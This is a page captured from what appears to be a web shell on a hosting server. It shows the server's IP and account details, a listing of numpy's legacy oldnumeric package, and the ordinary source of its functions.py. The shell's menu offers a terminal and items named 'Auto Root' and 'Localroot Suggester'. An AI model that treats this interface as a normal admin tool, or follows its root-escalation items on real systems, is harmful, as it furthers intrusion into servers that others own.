Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
python2.7 /
site-packages /
numpy /
oldnumeric /
Delete
Unzip
Name
Size
Permission
Date
Action
tests
[ DIR ]
drwxr-xr-x
2021-09-16 10:54
__init__.py
827
B
-rw-r--r--
2013-04-07 01:04
__init__.pyc
1022
B
-rw-r--r--
2018-04-10 19:40
__init__.pyo
1022
B
-rw-r--r--
2018-04-10 19:40
alter_code1.py
8.3
KB
-rw-r--r--
2013-04-07 01:04
alter_code1.pyc
9.49
KB
-rw-r--r--
2018-04-10 19:40
alter_code1.pyo
9.49
KB
-rw-r--r--
2018-04-10 19:40
alter_code2.py
4.53
KB
-rw-r--r--
2013-04-07 01:04
alter_code2.pyc
5.96
KB
-rw-r--r--
2018-04-10 19:40
alter_code2.pyo
5.96
KB
-rw-r--r--
2018-04-10 19:40
array_printer.py
456
B
-rw-r--r--
2013-04-07 01:04
array_printer.pyc
667
B
-rw-r--r--
2018-04-10 19:40
array_printer.pyo
667
B
-rw-r--r--
2018-04-10 19:40
arrayfns.py
2.47
KB
-rw-r--r--
2013-04-07 01:04
arrayfns.pyc
4.32
KB
-rw-r--r--
2018-04-10 19:40
arrayfns.pyo
4.32
KB
-rw-r--r--
2018-04-10 19:40
compat.py
3.11
KB
-rw-r--r--
2013-04-07 01:04
compat.pyc
4.88
KB
-rw-r--r--
2018-04-10 19:40
compat.pyo
4.88
KB
-rw-r--r--
2018-04-10 19:40
fft.py
869
B
-rw-r--r--
2013-04-07 01:04
fft.pyc
1.03
KB
-rw-r--r--
2018-04-10 19:40
fft.pyo
1.03
KB
-rw-r--r--
2018-04-10 19:40
fix_default_axis.py
7.85
KB
-rw-r--r--
2013-04-07 01:04
fix_default_axis.pyc
7.68
KB
-rw-r--r--
2018-04-10 19:40
fix_default_axis.pyo
7.68
KB
-rw-r--r--
2018-04-10 19:40
functions.py
3.55
KB
-rw-r--r--
2013-04-07 01:04
functions.pyc
7.31
KB
-rw-r--r--
2018-04-10 19:40
functions.pyo
7.31
KB
-rw-r--r--
2018-04-10 19:40
linear_algebra.py
2.13
KB
-rw-r--r--
2013-04-07 01:04
linear_algebra.pyc
3.34
KB
-rw-r--r--
2018-04-10 19:40
linear_algebra.pyo
3.34
KB
-rw-r--r--
2018-04-10 19:40
ma.py
73.96
KB
-rw-r--r--
2013-04-07 01:04
ma.pyc
83.81
KB
-rw-r--r--
2018-04-10 19:40
ma.pyo
83.81
KB
-rw-r--r--
2018-04-10 19:40
matrix.py
1.57
KB
-rw-r--r--
2013-04-07 01:04
matrix.pyc
2.31
KB
-rw-r--r--
2018-04-10 19:40
matrix.pyo
2.31
KB
-rw-r--r--
2018-04-10 19:40
misc.py
1.14
KB
-rw-r--r--
2013-04-07 01:04
misc.pyc
1.53
KB
-rw-r--r--
2018-04-10 19:40
misc.pyo
1.53
KB
-rw-r--r--
2018-04-10 19:40
mlab.py
3.36
KB
-rw-r--r--
2013-04-07 01:04
mlab.pyc
5.32
KB
-rw-r--r--
2018-04-10 19:40
mlab.pyo
5.32
KB
-rw-r--r--
2018-04-10 19:40
precision.py
4.16
KB
-rw-r--r--
2013-04-07 01:04
precision.pyc
3.85
KB
-rw-r--r--
2018-04-10 19:40
precision.pyo
3.85
KB
-rw-r--r--
2018-04-10 19:40
random_array.py
11.18
KB
-rw-r--r--
2013-04-07 01:04
random_array.pyc
13.89
KB
-rw-r--r--
2018-04-10 19:40
random_array.pyo
13.89
KB
-rw-r--r--
2018-04-10 19:40
rng.py
3.67
KB
-rw-r--r--
2013-04-07 01:04
rng.pyc
6.74
KB
-rw-r--r--
2018-04-10 19:40
rng.pyo
6.74
KB
-rw-r--r--
2018-04-10 19:40
rng_stats.py
1.31
KB
-rw-r--r--
2013-04-07 01:04
rng_stats.pyc
1.83
KB
-rw-r--r--
2018-04-10 19:40
rng_stats.pyo
1.83
KB
-rw-r--r--
2018-04-10 19:40
setup.py
335
B
-rw-r--r--
2013-04-07 01:04
setup.pyc
664
B
-rw-r--r--
2018-04-10 19:40
setup.pyo
664
B
-rw-r--r--
2018-04-10 19:40
setupscons.py
282
B
-rw-r--r--
2013-04-07 01:04
setupscons.pyc
613
B
-rw-r--r--
2018-04-10 19:40
setupscons.pyo
613
B
-rw-r--r--
2018-04-10 19:40
typeconv.py
1.58
KB
-rw-r--r--
2013-04-07 01:04
typeconv.pyc
1.59
KB
-rw-r--r--
2018-04-10 19:40
typeconv.pyo
1.59
KB
-rw-r--r--
2018-04-10 19:40
ufuncs.py
1.2
KB
-rw-r--r--
2013-04-07 01:04
ufuncs.pyc
1.79
KB
-rw-r--r--
2018-04-10 19:40
ufuncs.pyo
1.79
KB
-rw-r--r--
2018-04-10 19:40
user_array.py
182
B
-rw-r--r--
2013-04-07 01:04
user_array.pyc
370
B
-rw-r--r--
2018-04-10 19:40
user_array.pyo
370
B
-rw-r--r--
2018-04-10 19:40
Save
Rename
# Functions that should behave the same as Numeric and need changing import numpy as np import numpy.core.multiarray as mu import numpy.core.numeric as nn from typeconv import convtypecode, convtypecode2 __all__ = ['take', 'repeat', 'sum', 'product', 'sometrue', 'alltrue', 'cumsum', 'cumproduct', 'compress', 'fromfunction', 'ones', 'empty', 'identity', 'zeros', 'array', 'asarray', 'nonzero', 'reshape', 'arange', 'fromstring', 'ravel', 'trace', 'indices', 'where','sarray','cross_product', 'argmax', 'argmin', 'average'] def take(a, indicies, axis=0): return np.take(a, indicies, axis) def repeat(a, repeats, axis=0): return np.repeat(a, repeats, axis) def sum(x, axis=0): return np.sum(x, axis) def product(x, axis=0): return np.product(x, axis) def sometrue(x, axis=0): return np.sometrue(x, axis) def alltrue(x, axis=0): return np.alltrue(x, axis) def cumsum(x, axis=0): return np.cumsum(x, axis) def cumproduct(x, axis=0): return np.cumproduct(x, axis) def argmax(x, axis=-1): return np.argmax(x, axis) def argmin(x, axis=-1): return np.argmin(x, axis) def compress(condition, m, axis=-1): return np.compress(condition, m, axis) def fromfunction(args, dimensions): return np.fromfunction(args, dimensions, dtype=int) def ones(shape, typecode='l', savespace=0, dtype=None): """ones(shape, dtype=int) returns an array of the given dimensions which is initialized to all ones. """ dtype = convtypecode(typecode,dtype) a = mu.empty(shape, dtype) a.fill(1) return a def zeros(shape, typecode='l', savespace=0, dtype=None): """zeros(shape, dtype=int) returns an array of the given dimensions which is initialized to all zeros """ dtype = convtypecode(typecode,dtype) return mu.zeros(shape, dtype) def identity(n,typecode='l', dtype=None): """identity(n) returns the identity 2-d array of shape n x n. """ dtype = convtypecode(typecode, dtype) return nn.identity(n, dtype) def empty(shape, typecode='l', dtype=None): dtype = convtypecode(typecode, dtype) return mu.empty(shape, dtype) def array(sequence, typecode=None, copy=1, savespace=0, dtype=None): dtype = convtypecode2(typecode, dtype) return mu.array(sequence, dtype, copy=copy) def sarray(a, typecode=None, copy=False, dtype=None): dtype = convtypecode2(typecode, dtype) return mu.array(a, dtype, copy) def asarray(a, typecode=None, dtype=None): dtype = convtypecode2(typecode, dtype) return mu.array(a, dtype, copy=0) def nonzero(a): res = np.nonzero(a) if len(res) == 1: return res[0] else: raise ValueError("Input argument must be 1d") def reshape(a, shape): return np.reshape(a, shape) def arange(start, stop=None, step=1, typecode=None, dtype=None): dtype = convtypecode2(typecode, dtype) return mu.arange(start, stop, step, dtype) def fromstring(string, typecode='l', count=-1, dtype=None): dtype = convtypecode(typecode, dtype) return mu.fromstring(string, dtype, count=count) def ravel(m): return np.ravel(m) def trace(a, offset=0, axis1=0, axis2=1): return np.trace(a, offset=0, axis1=0, axis2=1) def indices(dimensions, typecode=None, dtype=None): dtype = convtypecode(typecode, dtype) return np.indices(dimensions, dtype) def where(condition, x, y): return np.where(condition, x, y) def cross_product(a, b, axis1=-1, axis2=-1): return np.cross(a, b, axis1, axis2) def average(a, axis=0, weights=None, returned=False): return np.average(a, axis, weights, returned)